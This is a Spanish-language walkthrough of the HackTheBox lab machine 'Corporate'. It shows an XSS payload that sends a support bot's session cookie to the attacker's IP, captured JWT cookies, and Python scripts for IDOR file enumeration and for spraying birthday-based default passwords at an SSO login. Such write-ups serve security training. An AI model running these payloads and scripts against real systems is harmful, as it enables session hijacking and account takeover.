Corporate es una de las maquinas existentes actualmente en la plataforma de hacking HackTheBox y es de dificultad Insane.
En este caso se trata de una máquina basada en el Sistema Operativo Linux.
Índice
Escaneo de puertos
Como de costumbre, agregamos la IP de la máquina Corporate 10.129.249.217 a /etc/hosts como corporate.htb y comenzamos con el escaneo de puertos nmap.
|
1 2 3 4 5 6 7 8 9 10 11 |
$ nmap -sS -p- --open --min-rate 5000 -vvv -n -Pn -oA enumeration/nmap1 10.129.249.217 Nmap scan report for 10.129.249.217 Host is up, received user-set (0.041s latency). Scanned at 2023-12-18 18:35:36 GMT for 26s Not shown: 65534 filtered tcp ports (no-response) Some closed ports may be reported as filtered due to --defeat-rst-ratelimit PORT STATE SERVICE REASON 80/tcp open http syn-ack ttl 63 Read data files from: /usr/bin/../share/nmap # Nmap done at Mon Dec 18 18:36:03 2023 -- 1 IP address (1 host up) scanned in 26.53 seconds |
Descubiertos los puertos abiertos lanzamos un escaneo más detallado sobre los mismos
|
1 2 3 4 5 6 7 8 9 10 11 |
$ nmap -sCV -p 80 -oA enumeration/nmap2 10.129.249.217 Nmap scan report for corporate.htb (10.129.249.217) Host is up (0.039s latency). PORT STATE SERVICE VERSION 80/tcp open http OpenResty web app server 1.21.4.3 |_http-title: Corporate.HTB |_http-server-header: openresty/1.21.4.3 Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . # Nmap done at Mon Dec 18 18:36:21 2023 -- 1 IP address (1 host up) scanned in 13.70 seconds |
Enumeración
Sólo tenemos abierto el puerto 80 así que accedemos a través del navegador viendo la siguiente página web.

Si revisamos las cabeceras vemos que tiene activado el CSP
|
1 2 3 4 5 6 7 8 9 |
$ curl -I http://corporate.htb/ HTTP/1.1 200 OK Date: Mon, 18 Dec 2023 12:12:09 GMT Content-Type: text/html Connection: keep-alive Content-Security-Policy: base-uri 'self'; default-src 'self' http://corporate.htb http://*.corporate.htb; style-src 'self' 'unsafe-inline' https://fonts.googleapis.com https://maps.googleapis.com https://maps.gstatic.com; font-src 'self' https://fonts.googleapis.com/ https://fonts.gstatic.com data:; img-src 'self' data: maps.gstatic.com; frame-src https://www.google.com/maps/; object-src 'none' X-Content-Type-Options: nosniff X-XSS-Options: 1; mode=block X-Frame-Options: DENY |
No parece que haya gran cosa por aquí así que enumeramos a fondo y vemos dos ficheros javascript ofuscados
|
1 2 |
http://corporate.htb/assets/js/custom.js?v=9435342730197 http://corporate.htb/assets/js/analytics.min.js?v=9435342730197 |
Nos centramos en el fichero analytics.min.js el cual luce así
|
1 |
function _0x30f1(){const _0x150333=['click','sup-sent','6871585qSIxyr','no-cors','1085898PDqYoS','250LWEKDs','corporate-analytics','6nnlMyB','querySelectorAll','stringify','forEach','1165722fDyfWg','form-submit','5PzYZzN','toString','identify','6240144ZcXMmG','corporate-landing','getElementById','textContent','from','track','/analytics/page','360852EeMKpG','466474cDxGuh','7753536zzYRuw','/analytics/track','/analytics/init','init','addEventListener','4txofWe','POST'];_0x30f1=function(){return _0x150333;};return _0x30f1();}const _0xb3bfb7=_0x5b8b;(function(_0x5a12d9,_0x434a74){const _0x144b29=_0x5b8b,_0x31739c=_0x5a12d9();while(!![]){try{const _0x415435=parseInt(_0x144b29(0x19d))/0x1*(parseInt(_0x144b29(0x1a3))/0x2)+-parseInt(_0x144b29(0x190))/0x3+parseInt(_0x144b29(0x19c))/0x4*(-parseInt(_0x144b29(0x192))/0x5)+-parseInt(_0x144b29(0x18c))/0x6*(-parseInt(_0x144b29(0x187))/0x7)+parseInt(_0x144b29(0x195))/0x8+parseInt(_0x144b29(0x19e))/0x9+parseInt(_0x144b29(0x18a))/0xa*(-parseInt(_0x144b29(0x189))/0xb);if(_0x415435===_0x434a74)break;else _0x31739c['push'](_0x31739c['shift']());}catch(_0x5d7a2d){_0x31739c['push'](_0x31739c['shift']());}}}(_0x30f1,0x94c6c));function _0x5b8b(_0x431e7b,_0x1c7489){const _0x30f179=_0x30f1();return _0x5b8b=function(_0x5b8b56,_0x422797){_0x5b8b56=_0x5b8b56-0x187;let _0x38dcb3=_0x30f179[_0x5b8b56];return _0x38dcb3;},_0x5b8b(_0x431e7b,_0x1c7489);}const Analytics=_analytics[_0xb3bfb7(0x1a1)]({'app':_0xb3bfb7(0x196),'version':0x64,'plugins':[{'name':_0xb3bfb7(0x18b),'page':({payload:_0x401b79})=>{const _0x2ae943=_0xb3bfb7;fetch(_0x2ae943(0x19b),{'method':_0x2ae943(0x1a4),'mode':'no-cors','body':JSON['stringify'](_0x401b79)});},'track':({payload:_0x930340})=>{const _0x2dcd80=_0xb3bfb7;fetch(_0x2dcd80(0x19f),{'method':_0x2dcd80(0x1a4),'mode':'no-cors','body':JSON['stringify'](_0x930340)});},'identify':({payload:_0x5cdcc5})=>{const _0x54310b=_0xb3bfb7;fetch(_0x54310b(0x1a0),{'method':_0x54310b(0x1a4),'mode':_0x54310b(0x188),'body':JSON[_0x54310b(0x18e)](_0x5cdcc5)});}}]});Analytics[_0xb3bfb7(0x194)]((9435342730197)[_0xb3bfb7(0x193)]()),Analytics['page'](),Array[_0xb3bfb7(0x199)](document[_0xb3bfb7(0x18d)]('a'))[_0xb3bfb7(0x18f)](_0x40e926=>{const _0xf9ca0d=_0xb3bfb7;_0x40e926[_0xf9ca0d(0x1a2)](_0xf9ca0d(0x1a5),()=>{const _0x3f9eab=_0xf9ca0d;Analytics[_0x3f9eab(0x19a)]('click',{'text':_0x40e926[_0x3f9eab(0x198)],'href':_0x40e926['href']});});});document[_0xb3bfb7(0x197)](_0xb3bfb7(0x191))&&document[_0xb3bfb7(0x197)](_0xb3bfb7(0x191))[_0xb3bfb7(0x1a2)](_0xb3bfb7(0x1a5),()=>{const _0x142bfa=_0xb3bfb7;Analytics[_0x142bfa(0x19a)](_0x142bfa(0x1a6));}); |
Así que vamos a utilizar la web de deobfuscate para desofuscar el mismo quedando el siguiente código
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 |
const Analytics = _analytics.init({ 'app': "corporate-landing", 'version': 0x64, 'plugins': [{ 'name': "corporate-analytics", 'page': ({ payload: _0x401b79 }) => { fetch("/analytics/page", { 'method': "POST", 'mode': 'no-cors', 'body': JSON.stringify(_0x401b79) }); }, 'track': ({ payload: _0x930340 }) => { fetch("/analytics/track", { 'method': "POST", 'mode': 'no-cors', 'body': JSON.stringify(_0x930340) }); }, 'identify': ({ payload: _0x5cdcc5 }) => { fetch("/analytics/init", { 'method': "POST", 'mode': "no-cors", 'body': JSON.stringify(_0x5cdcc5) }); } }] }); Analytics.identify(9435342730197 .toString()); Analytics.page(); Array.from(document.querySelectorAll('a')).forEach(_0x40e926 => { _0x40e926.addEventListener("click", () => { Analytics.track('click', { 'text': _0x40e926.textContent, 'href': _0x40e926.href }); }); }); if (document.getElementById("form-submit")) { document.getElementById("form-submit").addEventListener("click", () => { Analytics.track("sup-sent"); }); } |
Vemos que las peticiones contra analytics van con el cors desactivado, lo que puede venir bien más adelante, aunque por el momento no podemos hacer mucho más por aquí.
Enumeramos entonces subdominios y descubrimos varios
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 |
$ ffuf -u http://corporate.htb -w /data/tools/SecLists/Discovery/DNS/subdomains-top1million-110000.txt -H "Host: FUZZ.corporate.htb" -t 100 -fs 175 /'___\ /'___\ /'___\ /\ \__/ /\ \__/ __ __ /\ \__/ \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\ \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/ \ \_\ \ \_\ \ \____/ \ \_\ \/_/ \/_/ \/___/ \/_/ v2.0.0-dev ________________________________________________ :: Method : GET :: URL : http://corporate.htb :: Wordlist : FUZZ: /data/tools/SecLists/Discovery/DNS/subdomains-top1million-110000.txt :: Header : Host: FUZZ.corporate.htb :: Follow redirects : false :: Calibration : false :: Timeout : 10 :: Threads : 100 :: Matcher : Response status: 200,204,301,302,307,401,403,405,500 :: Filter : Response size: 175 ________________________________________________ [Status: 200, Size: 1725, Words: 383, Lines: 39, Duration: 113ms] * FUZZ: support [Status: 403, Size: 159, Words: 3, Lines: 8, Duration: 54ms] * FUZZ: git [Status: 302, Size: 38, Words: 4, Lines: 1, Duration: 62ms] * FUZZ: sso [Status: 302, Size: 32, Words: 4, Lines: 1, Duration: 51ms] * FUZZ: people :: Progress: [114441/114441] :: Job [1/1] :: 2283 req/sec :: Duration: [0:01:15] :: Errors: 0 :: |
Tenemos 4 subdominios que pasamos a explicar a continuación:
- support – Tenemos un chat en el cual podemos hablar con soporte
- git – devuelve un 403
- sso – se trata de un formulario de login SSO
- people – como no tenemos una sesión establecida nos lleva al panel de login de SSO
Procedemos entonces con el portal de support donde vemos la siguiente página web

Podemos indicar nuestro nombre y hablar con un agente, el cual cerrará el chat a los 5-6 segundos aproximadamente.
Enumeramos el portal, sobre todo los ficheros js, y vemos un fichero javascript interesante
|
1 |
http://support.corporate.htb/static/js/chat.min.js |
Se trata de otro fichero ofuscado, así que siguiendo el mismo procedimiento de antes obtenemos el código en claro quedando así
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 |
const sendButton = document.getElementById("send-message"); const messageInput = document.getElementById("message"); const messageContainer = document.getElementById("message-container"); const activeContainer = document.getElementById("active-container"); const closedAlert = document.getElementById("closed-alert"); const typingAlert = document.getElementById("typing-alert"); const alertMessageContainer = document.getElementById("alert-message"); function getCookie(_0x28b736) { let _0xc00034 = {}; document.cookie.split(';').forEach(function (_0x4e620c) { let [_0x8a7c26, _0x26dfeb] = _0x4e620c.split('='); _0xc00034[_0x8a7c26.trim()] = _0x26dfeb; }); return _0xc00034[_0x28b736]; } const socket = io("ws://support.corporate.htb", { 'auth': { 'token': getCookie("CorporateSSO") } }); const ticketId = document.getElementById("ticket-id").value; const addMessage = _0x5a6688 => { const _0xe6d2fc = !_0x5a6688.name; messageContainer.insertAdjacentHTML("beforeend", "<div class=\"row mb-2\">\n <div class=\"col-9 text-light " + (_0xe6d2fc ? "bg-success offset-3" : "bg-primary") + "\">\n <div class=\"py-3 px-2\">\n <strong>" + (_0xe6d2fc ? "You" : _0x5a6688.name) + "</strong><br />" + _0x5a6688.message + "\n </div>\n </div>\n <div class=\"text-muted " + (_0xe6d2fc ? "text-end" : '') + "\">\n Sent at: " + _0x5a6688.sentAt + "\n </div>\n </div>"); }; const alertMessage = _0x5591c8 => { if (!_0x5591c8) { alertMessageContainer.style.display = "none"; } else { alertMessageContainer.innerText = _0x5591c8; alertMessageContainer.style.display = ''; } }; socket.emit("join", { 'id': ticketId }); socket.on("status", ({ status: _0x513b5b, inQueue: _0x4a8f9f }) => { if (_0x513b5b === "queue") { alertMessage("There's currently " + _0x4a8f9f + " people in queue."); } else { if (_0x513b5b === "active") { activeContainer.style.display = ''; } else if (_0x513b5b === "closed") { alertMessage(''); closedAlert.style.display = ''; sendButton.setAttribute("disabled", "disabled"); messageInput.setAttribute("disabled", "disabled"); } } }); socket.on("typing", ({ isTyping: _0x49cbcc }) => { typingAlert.style.display = _0x49cbcc ? '' : "none"; }); socket.on("joined", ({ name: _0x29606f }) => { alertMessage(_0x29606f + " has joined the chat."); }); messageInput.addEventListener("focus", () => { socket.emit("typing", { 'id': ticketId, 'isTyping': true }); }); messageInput.addEventListener("blur", () => { socket.emit("typing", { 'id': ticketId, 'isTyping': false }); }); sendButton.addEventListener("click", () => { socket.emit("message", { 'id': ticketId, 'message': messageInput.value }); messageInput.value = ''; }); socket.on("message", _0x57cc44 => { addMessage(_0x57cc44); }); |
Analizando el código podemos deducir que el bot hará click en cualquier elemento cuyo id sea send-message, por lo que puede ser nuestro punto de entrada.
Explotación de XSS
Viendo esta puerta de entrada del panel de soporte y la sección de analytics sin el cors activado vemos que podemos utilizarlo para conseguir ejecutar un XSS y robar la cookie del usuario, así que para ello vamos a enviar al usuario el siguiente payload a través del chat
|
1 |
<a href="http://10.10.14.200/index.html" id="send-message">send message</a> |
Y nuestro html incluirá una cabecera refresh encargada de enviar la petición a la web principal en el dominio de corporate.htb
|
1 2 3 4 5 6 7 8 |
<!DOCTYPE html> <html lang="en"> <head> <meta http-equiv="refresh" content="0; url=http://corporate.htb/%3Cscript+src='/vendor/analytics.min.js'%3E%3C/script%3E%3Cscript+src='/assets/js/analytics.min.js?v=111));window.location.href=`http://10.10.14.200/${document.cookie}`;//%27%3C/script%3E"/> </head> <body> </body> </html> |
Enviamos el mensaje a través del chat

Y tendremos la cookie del bot
|
1 2 3 |
10.129.250.117 - - [20/Dec/2023 10:36:43] "GET / HTTP/1.1" 200 - 10.129.250.117 - - [20/Dec/2023 10:36:43] code 404, message File not found 10.129.250.117 - - [20/Dec/2023 10:36:43] "GET /CorporateSSO=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6NTA2OSwibmFtZSI6IkphbW1pZSIsInN1cm5hbWUiOiJDb3JrZXJ5IiwiZW1haWwiOiJKYW1taWUuQ29ya2VyeUBjb3Jwb3JhdGUuaHRiIiwicm9sZXMiOlsic2FsZXMiXSwicmVxdWlyZUN1cnJlbnRQYXNzd29yZCI6dHJ1ZSwiaWF0IjoxNzAzMDY4NTQ0LCJleHAiOjE3MDMxNTQ5NDR9.wyg3HiMk249o6Jd65fbGDwwOKaOMc84FgvmlFfmC6sE HTTP/1.1" 404 - |
Para los siguientes pasos vamos a necesitar al menos dos usuarios diferentes así que repetimos el proceso para tener la cookie de otro usuario.
Acceso al portal de SSO
Una vez que tenemos la cookie de sesión, vamos al portal de sso

Necesitamos crear la cookie CorporateSSO con el valor obtenido en el XSS modificando el dominio de la misma por .corporate.htb y el path por /, una vez hecho recargamos para poder entrar al panel de sso

Explotando el portal de people
En esta parte tenemos un enlace al portal de people y un enlace a un formulario de reseteo de passwords, así que vamos al portal de people donde vemos la siguiente ventana

En el mismo vemos varias páginas sin gran cosa y una sección para compartir ficheros donde vemos los ficheros a los cuales tiene acceso el usuario

Vemos un fichero ovpn que necesitaremos para acceder a la red interna, pero lo haremos más adelante, por lo que continuamos con el portal web.
Aquí no parece que podamos hacer gran cosa así que revisamos los ficheros en javascript y obtenemos el código utilizado
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 |
const modalElement = document.getElementById("email-modal"); const modal = new bootstrap.Modal(modalElement); const fileIdElement = document.getElementById("file-id"); onclick = "share({{ file.id }})"; const share = (fileId) => { fileIdElement.value = fileId; modal.show(); }; Array.from(document.querySelectorAll(".share-button")).forEach((el) => { el.addEventListener("click", (event) => { console.log(event.srcElement); share(event.srcElement.getAttribute("share-id")); }); }); |
Viendo el código no hay ningún tipo de comprobación por lo que cualquier usuario puede compartir cualquier archivo con otro, así que vamos a ver que podemos hacer, para esta parte necesitaremos tener las dos credenciales que mencionamos anteriormente así que utiliando el intruder de burp vamos a realizar la petición de compartir archivos con los números 1 a 200 hacia el otro usuario que obtuvimos con el ataque XSS y con un simple script sacamos los ficheros
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 |
#!/usr/bin/env python3 import requests url = "http://people.corporate.htb/sharing/file/" cookies = { "CorporateSSO": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6NTA3NCwibmFtZSI6Ik5vcmEiLCJzdXJuYW1lIjoiQnJla2tlIiwiZW1haWwiOiJOb3JhLkJyZWtrZUBjb3Jwb3JhdGUuaHRiIiwicm9sZXMiOlsic2FsZXMiXSwicmVxdWlyZUN1cnJlbnRQYXNzd29yZCI6dHJ1ZSwiaWF0IjoxNzAzMDc0NTY1LCJleHAiOjE3MDMxNjA5NjV9.yf0r2Lw6kgVGb2YrvvuEGowCbskfGGpmqrcVxsv893A", "domain": ".corporate.htb", "path": "/" } print("Checking files...") r = requests.get("http://people.corporate.htb/employee", cookies=cookies) print(r.headers) continue for i in range(1,200): r = requests.get(url + str(i), cookies=cookies) if r.status_code == 200: print("{} - {}".format(i, r.headers["Content-Disposition"])) |
Y obtenemos el listado de ficheros existentes en la plataforma
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 |
$ python3 people-sharing-files.py Checking files... 1 - attachment; filename="Corporate_Bot Cosmetics_20160722.docx" 3 - attachment; filename="Corporate_Globex Corporation_20210422.docx" 5 - attachment; filename="Corporate_System Control Ltd._20170909.docx" 6 - attachment; filename="Corporate_Globex Corporation_20210422.docx" 8 - attachment; filename="Corporate_Globex Corporation_20220430.docx" 9 - attachment; filename="Corporate_Cyber Systems_20191218.docx" 10 - attachment; filename="Corporate_Bot Cosmetics_20220502.docx" 12 - attachment; filename="Corporate_Wayne Enterprises_20210430.docx" 13 - attachment; filename="Corporate_System Control Ltd._20170909.docx" 15 - attachment; filename="Corporate_Wayne Enterprises_20210430.docx" 16 - attachment; filename="Corporate_Globex Corporation_20210422.docx" 17 - attachment; filename="Corporate_Iron Industries_20210419.docx" 19 - attachment; filename="Corporate_Globex Corporation_20210422.docx" 21 - attachment; filename="Corporate_Iron Industries_20190517.docx" 22 - attachment; filename="Corporate_Globex Corporation_20210422.docx" 23 - attachment; filename="Corporate_Acme Inc._20190315.docx" 25 - attachment; filename="Corporate_Wayne Enterprises_20210430.docx" 26 - attachment; filename="Corporate_Wayne Enterprises_20200827.docx" 28 - attachment; filename="Corporate_Bot Cosmetics_20220502.docx" 30 - attachment; filename="Corporate_Globex Corporation_20210422.docx" 32 - attachment; filename="Corporate_Wayne Enterprises_20200827.docx" 33 - attachment; filename="Corporate_Acme Inc._20190315.docx" 34 - attachment; filename="Corporate_Cyber Systems_20191218.docx" 36 - attachment; filename="Corporate_Wayne Enterprises_20210430.docx" 37 - attachment; filename="Corporate_Initech_20200408.docx" 38 - attachment; filename="Corporate_Acme Inc._20220214.docx" 40 - attachment; filename="Corporate_Iron Industries_20210419.docx" 41 - attachment; filename="Corporate_Initech_20151213.docx" 43 - attachment; filename="Corporate_Iron Industries_20190517.docx" 44 - attachment; filename="Corporate_System Control Ltd._20160717.docx" 46 - attachment; filename="Corporate_Cyber Systems_20191218.docx" 47 - attachment; filename="Corporate_Globex Corporation_20210422.docx" 49 - attachment; filename="Corporate_Cyber Systems_20211202.docx" 50 - attachment; filename="Corporate_Acme Inc._20161231.docx" 52 - attachment; filename="Corporate_Initech_20151213.docx" 53 - attachment; filename="Corporate_Globex Corporation_20210422.docx" 54 - attachment; filename="Corporate_Globex Corporation_20220430.docx" 56 - attachment; filename="Corporate_Acme Inc._20220214.docx" 57 - attachment; filename="Corporate_System Control Ltd._20160717.docx" 59 - attachment; filename="Corporate_Globex Corporation_20220210.docx" 60 - attachment; filename="Corporate_Acme Inc._20190315.docx" 61 - attachment; filename="Corporate_Cyber Systems_20180403.docx" 63 - attachment; filename="Corporate_System Control Ltd._20170909.docx" 64 - attachment; filename="Corporate_Cyber Systems_20180403.docx" 65 - attachment; filename="Corporate_Globex Corporation_20220430.docx" 67 - attachment; filename="Corporate_Acme Inc._20161231.docx" 69 - attachment; filename="Corporate_Globex Corporation_20220210.docx" 70 - attachment; filename="Corporate_System Control Ltd._20160717.docx" 71 - attachment; filename="Corporate_Globex Corporation_20220430.docx" 73 - attachment; filename="Corporate_Globex Corporation_20220210.docx" 75 - attachment; filename="Corporate_Iron Industries_20190517.docx" 77 - attachment; filename="Corporate_Bot Cosmetics_20220502.docx" 79 - attachment; filename="Corporate_Acme Inc._20190315.docx" 80 - attachment; filename="Corporate_Bot Cosmetics_20220502.docx" 81 - attachment; filename="Corporate_Globex Corporation_20220430.docx" 82 - attachment; filename="Corporate_Bot Cosmetics_20211023.docx" 84 - attachment; filename="Corporate_Initech_20200408.docx" 85 - attachment; filename="Corporate_Initech_20151213.docx" 86 - attachment; filename="Corporate_Acme Inc._20220214.docx" 88 - attachment; filename="Corporate_System Control Ltd._20160717.docx" 90 - attachment; filename="Corporate_Initech_20151213.docx" 92 - attachment; filename="Corporate_Iron Industries_20211005.docx" 94 - attachment; filename="Corporate_Wayne Enterprises_20200827.docx" 95 - attachment; filename="Corporate_Cyber Systems_20211202.docx" 97 - attachment; filename="Corporate_Iron Industries_20190517.docx" 98 - attachment; filename="Corporate_Bot Cosmetics_20211023.docx" 100 - attachment; filename="Corporate_Initech_20200408.docx" 101 - attachment; filename="Corporate_Wayne Enterprises_20200827.docx" 102 - attachment; filename="Corporate_Bot Cosmetics_20211023.docx" 104 - attachment; filename="Corporate_System Control Ltd._20190423.docx" 105 - attachment; filename="Corporate_Iron Industries_20210419.docx" 107 - attachment; filename="Corporate_System Control Ltd._20190423.docx" 109 - attachment; filename="Corporate_System Control Ltd._20170909.docx" 110 - attachment; filename="Corporate_Initech_20200408.docx" 112 - attachment; filename="Corporate_Iron Industries_20190517.docx" 114 - attachment; filename="Corporate_Globex Corporation_20220430.docx" 115 - attachment; filename="Corporate_Acme Inc._20220214.docx" 116 - attachment; filename="Corporate_Wayne Enterprises_20220512.docx" 118 - attachment; filename="Corporate_Bot Cosmetics_20211023.docx" 120 - attachment; filename="Corporate_Initech_20230121.docx" 121 - attachment; filename="Corporate_Iron Industries_20190517.docx" 122 - attachment; filename="Welcome to Corporate 2023 Draft.pdf" 124 - attachment; filename="Corporate_System Control Ltd._20160717.docx" 127 - attachment; filename="Corporate_Bot Cosmetics_20160722.docx" 128 - attachment; filename="Corporate_Globex Corporation_20210422.docx" 129 - attachment; filename="Corporate_Wayne Enterprises_20220512.docx" 131 - attachment; filename="Corporate_Wayne Enterprises_20200827.docx" 133 - attachment; filename="Corporate_Cyber Systems_20191218.docx" 134 - attachment; filename="Corporate_Bot Cosmetics_20211023.docx" 136 - attachment; filename="Corporate_Cyber Systems_20191218.docx" 137 - attachment; filename="Corporate_Globex Corporation_20220430.docx" 139 - attachment; filename="Corporate_Cyber Systems_20191218.docx" 140 - attachment; filename="Corporate_Iron Industries_20211005.docx" 142 - attachment; filename="Corporate_Initech_20200408.docx" 143 - attachment; filename="Corporate_Cyber Systems_20191218.docx" 145 - attachment; filename="Corporate_System Control Ltd._20170909.docx" 146 - attachment; filename="Corporate_Bot Cosmetics_20220502.docx" 148 - attachment; filename="Corporate_Bot Cosmetics_20160722.docx" 149 - attachment; filename="Corporate_Wayne Enterprises_20200827.docx" 151 - attachment; filename="Corporate_System Control Ltd._20190423.docx" 152 - attachment; filename="Corporate_Acme Inc._20220214.docx" 154 - attachment; filename="Corporate_Initech_20200408.docx" 155 - attachment; filename="Corporate_Globex Corporation_20220430.docx" 157 - attachment; filename="Corporate_Bot Cosmetics_20220502.docx" 159 - attachment; filename="Corporate_Globex Corporation_20210422.docx" 160 - attachment; filename="Corporate_Wayne Enterprises_20210430.docx" 162 - attachment; filename="Corporate_Wayne Enterprises_20220512.docx" 163 - attachment; filename="Corporate_Iron Industries_20211005.docx" 164 - attachment; filename="Corporate_Bot Cosmetics_20220502.docx" 165 - attachment; filename="Corporate_Initech_20200408.docx" 167 - attachment; filename="Corporate_Iron Industries_20210419.docx" 168 - attachment; filename="Corporate_Wayne Enterprises_20220512.docx" 170 - attachment; filename="Corporate_Cyber Systems_20180403.docx" 171 - attachment; filename="Corporate_Cyber Systems_20180403.docx" 173 - attachment; filename="Corporate_Globex Corporation_20220430.docx" 175 - attachment; filename="Corporate_Acme Inc._20220214.docx" 177 - attachment; filename="Corporate_System Control Ltd._20170909.docx" 178 - attachment; filename="Corporate_Iron Industries_20190517.docx" 179 - attachment; filename="Corporate_Wayne Enterprises_20200827.docx" 180 - attachment; filename="Corporate_Wayne Enterprises_20220512.docx" 182 - attachment; filename="Corporate_Cyber Systems_20191218.docx" 183 - attachment; filename="Corporate_Initech_20230121.docx" 184 - attachment; filename="Corporate_Initech_20151213.docx" 185 - attachment; filename="Corporate_Globex Corporation_20210422.docx" 187 - attachment; filename="Corporate_Acme Inc._20190315.docx" 189 - attachment; filename="Corporate_Wayne Enterprises_20200827.docx" 190 - attachment; filename="Corporate_Iron Industries_20211005.docx" 192 - attachment; filename="Corporate_Iron Industries_20210419.docx" 193 - attachment; filename="Corporate_Wayne Enterprises_20220512.docx" 194 - attachment; filename="Corporate_Iron Industries_20210419.docx" 196 - attachment; filename="Corporate_Iron Industries_20211005.docx" 197 - attachment; filename="Corporate_Initech_20200408.docx" 198 - attachment; filename="Corporate_Cyber Systems_20191218.docx" |
Entre todos los ficheros vemos uno interesante
|
1 |
122 - attachment; filename="Welcome to Corporate 2023 Draft.pdf" |
Así que descargamos y abrimos el mismo y vemos la siguiente parte

En el documento nos indica, que por defecto, cuando se crea un usuario la password es CorporateStarter seguida de la fecha de nacimiento del usuario así que vamos a crear otro script que nos ayude con esta parte, bueno más bien serán dos scripts.
Creamos un primer script para enumerar todos los usuarios y generar un diccionario con el usuario y la password del mismo
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 |
#!/usr/bin/env python3 import requests import re filename = "../dicts/people-users.txt" file = open(filename, "w+") url = "http://people.corporate.htb/employee/" cookies = { "CorporateSSO": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6NTA3NCwibmFtZSI6Ik5vcmEiLCJzdXJuYW1lIjoiQnJla2tlIiwiZW1haWwiOiJOb3JhLkJyZWtrZUBjb3Jwb3JhdGUuaHRiIiwicm9sZXMiOlsic2FsZXMiXSwicmVxdWlyZUN1cnJlbnRQYXNzd29yZCI6dHJ1ZSwiaWF0IjoxNzAzMDc0NTY1LCJleHAiOjE3MDMxNjA5NjV9.yf0r2Lw6kgVGb2YrvvuEGowCbskfGGpmqrcVxsv893A", "domain": ".corporate.htb", "path": "/" } print("Checking users...") for i in range(5000,5100): r = requests.get(url + str(i), cookies=cookies) if r.status_code == 200: if "Sorry" not in r.text: birthday = re.search(r'(\d+/\d+/\d+)', r.text) values = birthday.group(1).split("/") month = "0{}".format(values[0]) if len(values[0]) == 1 else values[0] day = "0{}".format(values[1]) if len(values[1]) == 1 else values[1] year = values[2] username = re.search(r'(\w+\.\w+\@corporate.htb)', r.text).group(1).split("@")[0] password = "CorporateStarter{}{}{}".format(day, month, year) file.write("{}:{}\n".format(username, password)) print("Resuslts saved on file {}".format(filename)) # close file file.close() |
Y un segundo script para testear cuales son válidos y tienen la password por defecto
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 |
#!/usr/bin/env python3 import requests filename = "../dicts/people-users.txt" file = open(filename, "r") url = "http://sso.corporate.htb/login" print("Searching valid users...") # check each user for user in file: user = user.strip() data = user.split(":") username = data[0] password = data[1] session = requests.session() data = { "username": username, "password": password } r = session.post(url, data=data) if "Invalid username or password" not in r.text: print("{}:{}".format(username, password)) |
Hecha esta parte lanzamos el primero para obtener el listado de usuarios
|
1 2 3 |
$ python3 enumusers.py Checking users... Resuslts saved on file ../dicts/people-users.txt |
Y después comprobamos cuales de los usuarios obtenidos son válidos
|
1 2 3 4 5 6 |
$ python3 checkusers.py Searching valid users... elwin.jones:CorporateStarter04041987 laurie.casper:CorporateStarter18111959 nya.little:CorporateStarter21061965 brody.wiza:CorporateStarter14071992 |
Acceso a la red interna
Ya tenemos las credenciales válidas de 4 usuarios pero ahora necesitamos conocer a donde podemos acceder con las mismas, así que recordamos el fichero de vpn que vimos antes y nos conectamos.
Enumeramos los hosts existentes en las redes existentes
|
1 2 3 4 5 6 7 |
$ nmap -sn 10.8.0.0/24 Starting Nmap 7.94 ( https://nmap.org ) at 2023-12-20 11:11 GMT Nmap scan report for 10.8.0.1 Host is up (0.051s latency). Nmap scan report for 10.8.0.2 Host is up (0.0016s latency). Nmap done: 256 IP addresses (2 hosts up) scanned in 3.10 seconds |
Y la red 10.9
|
1 2 3 4 5 6 7 |
$ nmap -sn 10.9.0.0/24 Starting Nmap 7.94 ( https://nmap.org ) at 2023-12-20 18:27 GMT Nmap scan report for 10.9.0.1 Host is up (0.055s latency). Nmap scan report for 10.9.0.4 Host is up (0.054s latency). Nmap done: 256 IP addresses (2 hosts up) scanned in 3.96 seconds |
Revisamos los hosts descubiertos y conseguimos acceder con las credenciales del usuario brody a la máquina con ip 10.9.0.4
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 |
